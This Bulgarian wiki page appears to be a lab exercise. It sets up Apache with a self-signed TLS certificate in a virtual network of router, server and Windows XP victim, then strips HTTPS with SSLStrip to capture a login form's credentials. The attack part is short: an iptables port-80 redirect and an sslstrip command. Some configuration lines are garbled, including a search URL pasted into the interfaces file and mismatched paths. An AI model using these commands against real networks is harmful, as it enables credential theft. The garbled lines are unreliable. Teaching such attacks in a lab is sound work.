Apache SSL

From Ilianko

Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.

Мрежови настройки

Router (Attacker)

Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.

Настройка DNS

  • nano /etc/resolv.conf
nameserver 8.8.4.4


Настройки на Интерфейси: nano /etc/network/interfaces

auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1

allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0

Активиране на NAT

echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local

Web сървър

  • nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>

Инсталация на web сървър Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh

apt-get update
аpt-get install apache2 openssl ssh


Проверка дали работи web сървърът.

telnet localhost 80
  GET

Web client (Victim)

windows XP

  • IP: 10.3.45.1XX/16
  • gateway: 10.3.0.1;
  • DNS: 8.8.4.4
  • през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX


Host машина

Добавяне на път от host машината към web сървъра

route add -net 172.16.1.0/24 gw 10.3.45.100

Web форма

Тестване на web сървъра през Web клиента

  • В браузъра се отваря:
http://172.16.1.2/index.html

Качване на форма form.html

  • Подгответе web форма и я качете през ssh на веб сървъра
<html>
  <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled Document</title>
  </head>
  <body>
    <form action="https://172.16.1.2/index.html" method="post">
      <table>
        <tr>
          <td>User: </td>
          <td><input type="text" name="name" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
        </tr>
      </table>
    </form>
  </body>
</html>


Свързване от Хост компютъра към виртуалния Web сървър през ssh.

Отваря се терминал на хост машината и се изпълнява

:-$ ssh student@172.16.1.1

Активиране на https

  • Активиране на ssl модул:
a2enmod ssl
  • Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
  • добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>

Генериране на собствен самоподписан сертификат

  • Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys 

  • Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key

Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
  • Проверете генерираните файлове


  • Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
 SSLEngine on

        #   A self-signed (snakeoil) certificate can be created by installing
        #   the ssl-cert package. See
        #   /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #   If both key and certificate are stored in the same file, only the
        #   SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key
...
  • Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart

Атака на връзката

Инсталиране sslstrip

apt-get install sslstrip

пренасочване на порт

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

стартиране на sslstrip

sslstrip -L 10000


Да се тества премахването на https връзките.



https://wiki.debian.org/Self-Signed_Certificate http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html http://www.thegeekstuff.com/2011/03/install-apache2-ssl/ http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html